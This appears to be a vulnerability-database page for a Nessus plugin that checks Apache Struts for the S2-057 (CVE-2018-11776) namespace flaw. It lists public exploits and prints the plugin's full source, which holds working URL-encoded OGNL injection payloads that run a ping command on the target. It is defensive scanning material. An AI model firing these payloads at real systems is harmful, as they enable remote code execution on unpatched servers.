Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) - Nessus

High   Plugin ID: 112064

This page contains detailed information about the Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 112064
Name: Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
Filename: struts_2_5_17_rce.nasl
Vulnerability Published: 2018-08-22
This Plugin Published: 2018-08-23
Last Modification Time: 2022-04-11
Plugin Version: 1.19
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl, webmirror.nasl
Excluded KB Items [?]: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2018-08-22
Patch Published: 2018-08-22
CVE [?]: CVE-2018-11776
CPE [?]: cpe:/a:apache:struts
In the News: True

Synopsis

The remote web server contains a web application that uses a Java framework that is affected by a remote code execution vulnerability.

Description

The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the handling of results with no namespace set. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.

Solution

Upgrade to Apache Struts version 2.3.35 / 2.5.17 or later.

Public Exploits


Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) vulnerability:

  1. Metasploit: exploit/multi/http/struts2_namespace_ognl
    [Apache Struts 2 Namespace Redirect OGNL Injection]
  2. Exploit-DB: exploits/linux/remote/45260.py
    [EDB-45260: Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)]
  3. Exploit-DB: exploits/multiple/remote/45367.rb
    [EDB-45367: Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)]
  4. GitHub: https://github.com/0day666/Vulnerability-verification
    [CVE-2018-11776]
  5. GitHub: https://github.com/3vikram/Application-Vulnerabilities-Payloads
    [CVE-2018-11776]
  6. GitHub: https://github.com/84KaliPleXon3/Payloads_All_The_Things
    [CVE-2018-11776]
  7. GitHub: https://github.com/Apri1y/Red-Team-links
    [CVE-2018-11776]
  8. GitHub: https://github.com/BitTheByte/Domainker
    [CVE-2018-11776]
  9. GitHub: https://github.com/BitTheByte/Eagle
    [CVE-2018-11776]
  10. GitHub: https://github.com/Delishsploits/PayloadsAndMethodology
    [CVE-2018-11776]
  11. GitHub: https://github.com/Echocipher/Resource-list
    [CVE-2018-11776]
  12. GitHub: https://github.com/Fnzer0/S2-057-poc
    [CVE-2018-11776]
  13. GitHub: https://github.com/GuynnR/Payloads
    [CVE-2018-11776]
  14. GitHub: https://github.com/HxDDD/CVE-PoC
    [CVE-2018-11776]
  15. GitHub: https://github.com/Ivan1ee/struts2-057-exp
    [CVE-2018-11776]
  16. GitHub: https://github.com/LightC0der/Apache-Struts-0Day-Exploit
    [CVE-2018-11776: Critical Remote Code Execution Vulnerability (CVE-2018-11776) Found in Apache Struts. ...]
  17. GitHub: https://github.com/Muhammd/Awesome-Payloads
    [CVE-2018-11776]
  18. GitHub: https://github.com/OzNetNerd/apche-struts-vuln-demo-cve-2018-11776
    [CVE-2018-11776: Spins up an isolated test environment for experimentation with Apache Struts ...]
  19. GitHub: https://github.com/PEAKWEI/WsylibBookRS
    [CVE-2018-11776]
  20. GitHub: https://github.com/Prodject/Kn0ck
    [CVE-2018-11776]
  21. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2018-11776]
  22. GitHub: https://github.com/Steven1ay/S2-057
    [CVE-2018-11776]
  23. GitHub: https://github.com/SummerSec/learning-codeql
    [CVE-2018-11776]
  24. GitHub: https://github.com/XPR1M3/Payloads_All_The_Things
    [CVE-2018-11776]
  25. GitHub: https://github.com/albinowax/ActiveScanPlusPlus
    [CVE-2018-11776]
  26. GitHub: https://github.com/alex14324/Eagel
    [CVE-2018-11776]
  27. GitHub: https://github.com/andrysec/PayloadsAllVulnerability
    [CVE-2018-11776]
  28. GitHub: https://github.com/anhtu97/PayloadAllEverything
    [CVE-2018-11776]
  29. GitHub: https://github.com/apkadmin/PayLoadsAll
    [CVE-2018-11776]
  30. GitHub: https://github.com/byteofjoshua/CVE-2021-26084
    [CVE-2018-11776]
  31. GitHub: https://github.com/chanchalpatra/payload
    [CVE-2018-11776]
  32. GitHub: https://github.com/cucadili/CVE-2018-11776
    [CVE-2018-11776: Investigation of CVE-2018-11776 vulnerability that allows attackers to remotely ...]
  33. GitHub: https://github.com/djschleen/ash
    [CVE-2018-11776]
  34. GitHub: https://github.com/eescanilla/Apache-Struts-v3
    [CVE-2018-11776]
  35. GitHub: https://github.com/foreseeti/securicad-enterprise-sdk
    [CVE-2018-11776]
  36. GitHub: https://github.com/foreseeti/securicad-vanguard-sdk
    [CVE-2018-11776]
  37. GitHub: https://github.com/freshdemo/ApacheStruts-CVE-2018-11776
    [CVE-2018-11776]
  38. GitHub: https://github.com/github/securitylab
    [CVE-2018-11776]
  39. GitHub: https://github.com/hktalent/myhktools
    [CVE-2018-11776]
  40. GitHub: https://github.com/hudunkey/Red-Team-links
    [CVE-2018-11776]
  41. GitHub: https://github.com/jas502n/St2-057
    [CVE-2018-11776]
  42. GitHub: https://github.com/jezzus/CVE-2018-11776-Python-PoC
    [CVE-2018-11776]
  43. GitHub: https://github.com/jiguangin/CVE-2018-11776
    [CVE-2018-11776: CVE-2018-11776(S2-057) EXPLOIT CODE]
  44. GitHub: https://github.com/jiguangrst/CVE-2018-11776
    [CVE-2018-11776: CVE-2018-11776(S2-057) EXPLOIT CODE]
  45. GitHub: https://github.com/john-80/-007
    [CVE-2018-11776]
  46. GitHub: https://github.com/khodges42/Etrata
    [CVE-2018-11776]
  47. GitHub: https://github.com/koutto/jok3r-pocs
    [CVE-2018-11776]
  48. GitHub: https://github.com/lp008/Hack-readme
    [CVE-2018-11776]
  49. GitHub: https://github.com/mrhacker51/ReverseShellCommands
    [CVE-2018-11776]
  50. GitHub: https://github.com/ninoseki/mitaka
    [CVE-2018-11776]
  51. GitHub: https://github.com/oneplus-x/Sn1per
    [CVE-2018-11776]
  52. GitHub: https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2018-11776.md
    [CVE-2018-11776]
  53. GitHub: https://github.com/s1kr10s/Apache-Struts-v4
    [CVE-2018-11776]
  54. GitHub: https://github.com/slimdaddy/RedTeam
    [CVE-2018-11776]
  55. GitHub: https://github.com/sobinge/PayloadsAllThesobinge
    [CVE-2018-11776]
  56. GitHub: https://github.com/sobinge/--1
    [CVE-2018-11776]
  57. GitHub: https://github.com/sourcery-ai-bot/Deep-Security-Reports
    [CVE-2018-11776]
  58. GitHub: https://github.com/tdcoming/Vulnerability-engine
    [CVE-2018-11776]
  59. GitHub: https://github.com/trbpnd/CVE-2018-11776
    [CVE-2018-11776: Docker image for a vulnerable struts app]
  60. GitHub: https://github.com/tuxotron/cve-2018-11776-docker
    [CVE-2018-11776]
  61. GitHub: https://github.com/unusualwork/Sn1per
    [CVE-2018-11776]
  62. GitHub: https://github.com/we1h0/awesome-java-security-checklist
    [CVE-2018-11776]
  63. GitHub: https://github.com/whoadmin/pocs
    [CVE-2018-11776]
  64. GitHub: https://github.com/woods-sega/woodswiki
    [CVE-2018-11776]
  65. GitHub: https://github.com/xiaoZ-hc/redtool
    [CVE-2018-11776]
  66. GitHub: https://github.com/649/Apache-Struts-Shodan-Exploit
    [CVE-2018-11776: This tool takes advantage of CVE-2018-11776 and Shodan to perform mass exploitation ...]
  67. GitHub: https://github.com/bhdresh/CVE-2018-11776
    [CVE-2018-11776: Vulnerable docker container for CVE-2018-11776]
  68. GitHub: https://github.com/brianwrf/S2-057-CVE-2018-11776
    [CVE-2018-11776: A simple exploit for Apache Struts RCE S2-057 (CVE-2018-11776)]
  69. GitHub: https://github.com/Ekultek/Strutter
    [CVE-2018-11776: Proof of Concept for CVE-2018-11776]
  70. GitHub: https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
    [CVE-2018-11776: Working Python test and PoC for CVE-2018-11776, includes Docker lab]
  71. GitHub: https://github.com/jiguangsdf/CVE-2018-11776
    [CVE-2018-11776: CVE-2018-11776(S2-057) EXPLOIT CODE]
  72. GitHub: https://github.com/knqyf263/CVE-2018-11776
    [CVE-2018-11776: Environment for CVE-2018-11776 / S2-057 (Apache Struts 2)]
  73. GitHub: https://github.com/mazen160/struts-pwn_CVE-2018-11776
    [CVE-2018-11776: An exploit for Apache Struts CVE-2018-11776]
  74. GitHub: https://github.com/xfox64x/CVE-2018-11776
    [CVE-2018-11776: Creating a vulnerable environment and the PoC]
  75. GitHub: https://github.com/cved-sources/cve-2018-11776
    [CVE-2018-11776: Cve-2018-11776]
  76. D2 Elliot: apache_struts_2_multiple_tags_result_namespace_handling_rce.html
    [Apache Struts 2 Multiple Tags Result Namespace Handling RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2018-11776
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:7.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.1 (High)
Impact Subscore:5.9
Exploitability Subscore:2.2
CVSS Temporal Score:7.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.5 (High)

Go back to menu.

Plugin Source


This is the struts_2_5_17_rce.nasl nessus plugin source code. This script is Copyright (C) 2018-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(112064);
  script_version("1.19");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2018-11776");
  script_bugtraq_id(105125);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");

  script_name(english:"Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote host is affected by
a remote code execution vulnerability in the handling of results with
no namespace set. An unauthenticated, remote attacker can exploit this,
via a specially crafted HTTP request, to potentially execute arbitrary
code, subject to the privileges of the web server user.");
  # https://www.tenable.com/blog/new-apache-struts-vulnerability-could-allow-for-remote-code-execution
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a21304a0");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-057");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2018/Aug/46");
  script_set_attribute(attribute:"see_also", value:"https://semmle.com/news/apache-struts-CVE-2018-11776");
  script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.35 / 2.5.17 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/22");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/08/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match4 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match4))
    {
      urls = make_list(urls, match4[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}

if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);
scanner_ip = compat::this_host();
target_ip = get_host_ip();
vuln = FALSE;

ua = get_kb_item("global_settings/http_user_agent");
if (empty_or_null(ua))
  ua = 'Nessus';

pat = hexstr(rand_str(length:10));

os = get_kb_item("Host/OS");
if (!empty_or_null(os) && "windows" >< tolower(os))
{
  ping_cmd = "ping%20-n%203%20-l%20500%20" + scanner_ip;
  filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500";
}
else
{
  ping_cmd = "ping%20-c%203%20-p%20" + pat + "%20" + scanner_ip;
  filter = "icmp and icmp[0] = 8 and src host " + target_ip;
}

payload_redirect = "%24%7B%7B57550614+16044095%7D%7D/";
payload_redirect_verify_regex = "Location: .*\[73594709\]";

payload_2_2 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/";

payload_2_3 = "%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29%29%7D/";

function namespace_inject(url, payload)
{
  local_var bits, last, attack_url;

  # find the last / and put it after
  bits = split(url, sep:"/", keep:TRUE);
  last = max_index(bits) - 1;
  for (i=0;i<last;i++)
    attack_url = attack_url + bits[i];
  attack_url = attack_url + payload;
  attack_url = attack_url + bits[last];

  return attack_url;
}

foreach url (urls)
{
  # first we try the 2.3.x payload
  soc = open_sock_tcp(port);
  if (!soc) audit(AUDIT_SOCK_FAIL, port);

  attack_url = namespace_inject(url:url, payload:payload_2_3);

  req =
    'GET ' + attack_url + ' HTTP/1.1\n' +
    'Host: ' + target_ip + ':' + port + '\n' +
    'User-Agent: ' + ua + '\n' +
    '\n';

  s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout);
  icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
  close(soc);

  if ("windows" >< tolower(os) && !isnull(icmp))
  {
    vuln = TRUE;
    vuln_url = req;
    report =
      '\nNessus confirmed this issue by examining ICMP traffic. '+
      'Below is the response :' +
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }
  else if (pat >< icmp)
  {
    vuln = TRUE;
    vuln_url = req;
    report =
      '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
      '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }

  # next we try the 2.2.x payload
  soc = open_sock_tcp(port);
  if (!soc) audit(AUDIT_SOCK_FAIL, port);

  attack_url = namespace_inject(url:url, payload:payload_2_2);

  req =
    'GET ' + attack_url + ' HTTP/1.1\n' +
    'Host: ' + target_ip + ':' + port + '\n' +
    'User-Agent: ' + ua + '\n' +
    '\n';

  s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout);
  icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
  close(soc);

  if ("windows" >< tolower(os) && !isnull(icmp))
  {
    vuln = TRUE;
    vuln_url = req;
    report =
      '\nNessus confirmed this issue by examining ICMP traffic. '+
      'Below is the response :' +
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }
  else if (pat >< icmp)
  {
    vuln = TRUE;
    vuln_url = req;
    report =
      '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
      '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }

  # and finally, we try a simple redirect namespace injection
  attack_url = namespace_inject(url:url, payload:payload_redirect);

  res = http_send_recv3(
    method       : "GET",
    item         : attack_url,
    port         : port,
    exit_on_fail : TRUE,
    follow_redirect: 0
  );

  if (res[1] =~ payload_redirect_verify_regex)
  {
    vuln = TRUE;
    vuln_url = attack_url;
    report =
      '\nNessus confirmed this issue by injecting a simple OGNL addition payload'+
      '\n( ${{57550614+16044095}} ) into a redirect action namespace. Below is' +
      '\nthe response :'+
      '\n\n' + snip +
      '\n' + res[1] +
      '\n' + snip +
      '\n';
    break;
  }

  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(vuln_url),
  output     : report
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/struts_2_5_17_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_2_5_17_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/struts_2_5_17_rce.nasl

Go back to menu.

How to Run


Here is how to run the Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) plugin ID 112064.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_2_5_17_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_2_5_17_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_2_5_17_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_2_5_17_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 112288 - Cisco Unified Communications Manager IM & Presence Service Apache Struts RCE (CSCvm14049)
  • 112219 - Cisco Identity Services Engine Struts2 Namespace Vulnerability
  • 112289 - Cisco Unified Communication Manager Apache Struts RCE (CSCvm14042)
  • 138901 - MySQL Enterprise Monitor 3.4.x < 3.4.10 / 4.x < 4.0.7 / 8.x < 8.0.3 Multiple Vulnerabilities (Oct 2018 CPU)
  • 138555 - Oracle Enterprise Manager Cloud Control (Jul 2020 CPU)
  • 112036 - Apache Struts CVE-2018-11776 Results With No Namespace Possible Remote Code Execution (S2-057)
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
  • 73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
  • 119728 - Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
  • 90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
  • 91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
  • 102918 - Apache Struts 2.3.x Struts 1 plugin RCE (remote)
  • 97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
  • 102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
  • 144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 47900 - Apache Struts 2 / XWork Remote Code Execution (safe check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_2_5_17_rce.nasl version 1.19. For more plugins, visit the Nessus Plugin Library.

Go back to menu.